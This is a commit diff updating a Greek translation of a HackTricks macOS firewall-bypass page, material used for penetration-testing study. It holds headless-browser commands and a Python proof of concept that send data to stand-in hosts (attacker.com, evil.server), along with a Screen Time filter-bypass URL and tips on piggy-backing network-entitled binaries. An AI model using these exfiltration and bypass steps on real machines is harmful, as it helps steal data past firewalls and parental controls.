mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
7920de20fd
commit
74e221a0a2
@ -14,7 +14,7 @@
|
||||
|
||||
- Αν το firewall ζητήσει άδεια από τον χρήστη, κάντε το κακόβουλο λογισμικό να **κλικάρει στο επιτρέπω**
|
||||
|
||||
### **Χρήση υπογεγραμμένων δυαδικών αρχείων της Apple**
|
||||
### **Χρησιμοποιήστε υπογεγραμμένα δυαδικά αρχεία της Apple**
|
||||
|
||||
- Όπως **`curl`**, αλλά και άλλα όπως **`whois`**
|
||||
|
||||
@ -34,7 +34,7 @@ lsof -i TCP -sTCP:ESTABLISHED
|
||||
```
|
||||
### Κατάχρηση DNS
|
||||
|
||||
Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`**, η οποία πιθανότατα θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS.
|
||||
Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`** που πιθανώς θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS.
|
||||
|
||||
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
|
||||
@ -53,7 +53,7 @@ end tell
|
||||
```bash
|
||||
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
- Φοίνικας
|
||||
- Φοίνιξ
|
||||
```bash
|
||||
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
|
||||
```
|
||||
@ -69,8 +69,61 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
||||
macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Πρόσφατες ευπάθειες παράκαμψης τείχους προστασίας macOS (2023-2025)
|
||||
|
||||
### Παράκαμψη φίλτρου περιεχομένου ιστού (Screen Time) – **CVE-2024-44206**
|
||||
Τον Ιούλιο του 2024, η Apple διόρθωσε ένα κρίσιμο σφάλμα στο Safari/WebKit που κατέστρεψε το σύστημα “Φίλτρο περιεχομένου ιστού” που χρησιμοποιείται από τους γονικούς ελέγχους του Screen Time.
|
||||
Μια ειδικά διαμορφωμένη URI (για παράδειγμα, με διπλό URL-encoded “://”) δεν αναγνωρίζεται από το ACL του Screen Time αλλά γίνεται αποδεκτή από το WebKit, οπότε το αίτημα αποστέλλεται χωρίς φιλτράρισμα. Οποιαδήποτε διαδικασία μπορεί να ανοίξει μια URL (συμπεριλαμβανομένου του sandboxed ή unsigned κώδικα) μπορεί επομένως να φτάσει σε τομείς που είναι ρητά αποκλεισμένοι από τον χρήστη ή ένα προφίλ MDM.
|
||||
|
||||
Πρακτική δοκιμή (μη διορθωμένο σύστημα):
|
||||
```bash
|
||||
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
|
||||
# if the patch is missing Safari will happily load the page
|
||||
```
|
||||
### Bug στην παραγγελία κανόνων του Packet Filter (PF) σε πρώιμο macOS 14 “Sonoma”
|
||||
Κατά τη διάρκεια του beta κύκλου του macOS 14, η Apple εισήγαγε μια αναστροφή στο wrapper του userspace γύρω από **`pfctl`**.
|
||||
Οι κανόνες που προστέθηκαν με τη λέξη-κλειδί `quick` (που χρησιμοποιείται από πολλές VPN kill-switches) αγνοήθηκαν σιωπηλά, προκαλώντας διαρροές κυκλοφορίας ακόμη και όταν μια GUI VPN/firewall ανέφερε *μπλοκαρισμένο*. Το bug επιβεβαιώθηκε από αρκετούς προμηθευτές VPN και διορθώθηκε στην RC 2 (build 23A344).
|
||||
|
||||
Γρήγορος έλεγχος διαρροής:
|
||||
```bash
|
||||
pfctl -sr | grep quick # rules are present…
|
||||
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
|
||||
```
|
||||
### Κατάχρηση υπηρεσιών βοηθού υπογεγραμμένων από την Apple (παλαιά – προ-macOS 11.2)
|
||||
Πριν από το macOS 11.2, η **`ContentFilterExclusionList`** επέτρεπε ~50 δυαδικά της Apple όπως το **`nsurlsessiond`** και το App Store να παρακάμπτουν όλα τα τείχη προστασίας φίλτρου υποδοχών που υλοποιήθηκαν με το πλαίσιο Network Extension (LuLu, Little Snitch, κ.λπ.).
|
||||
Το κακόβουλο λογισμικό μπορούσε απλά να δημιουργήσει μια διαδικασία που εξαιρείται—ή να εισάγει κώδικα σε αυτήν—και να σήκώσει τη δική του κίνηση μέσω της ήδη επιτρεπόμενης υποδοχής. Η Apple αφαίρεσε εντελώς τη λίστα εξαιρέσεων στο macOS 11.2, αλλά η τεχνική είναι ακόμα σχετική σε συστήματα που δεν μπορούν να αναβαθμιστούν.
|
||||
|
||||
Παράδειγμα απόδειξης της έννοιας (προ-11.2):
|
||||
```python
|
||||
import subprocess, socket
|
||||
# Launch excluded App Store helper (path collapsed for clarity)
|
||||
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
|
||||
# Connect through the inherited socket
|
||||
s = socket.create_connection(("evil.server", 443))
|
||||
s.send(b"exfil...")
|
||||
```
|
||||
---
|
||||
|
||||
## Συμβουλές εργαλείων για σύγχρονο macOS
|
||||
|
||||
1. Εξετάστε τους τρέχοντες κανόνες PF που δημιουργούν τα GUI firewalls:
|
||||
```bash
|
||||
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
|
||||
```
|
||||
2. Καταγράψτε τα δυαδικά αρχεία που ήδη κατέχουν την άδεια *outgoing-network* (χρήσιμο για piggy-backing):
|
||||
```bash
|
||||
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
|
||||
| plutil -extract com.apple.security.network.client xml1 -o - -
|
||||
```
|
||||
3. Προγραμματικά καταχωρίστε το δικό σας φίλτρο περιεχομένου Network Extension σε Objective-C/Swift.
|
||||
Μια ελάχιστη rootless PoC που προωθεί πακέτα σε ένα τοπικό socket είναι διαθέσιμη στον πηγαίο κώδικα του **LuLu** του Patrick Wardle.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
|
||||
- <https://nosebeard.co/advisories/nbl-001.html>
|
||||
- <https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user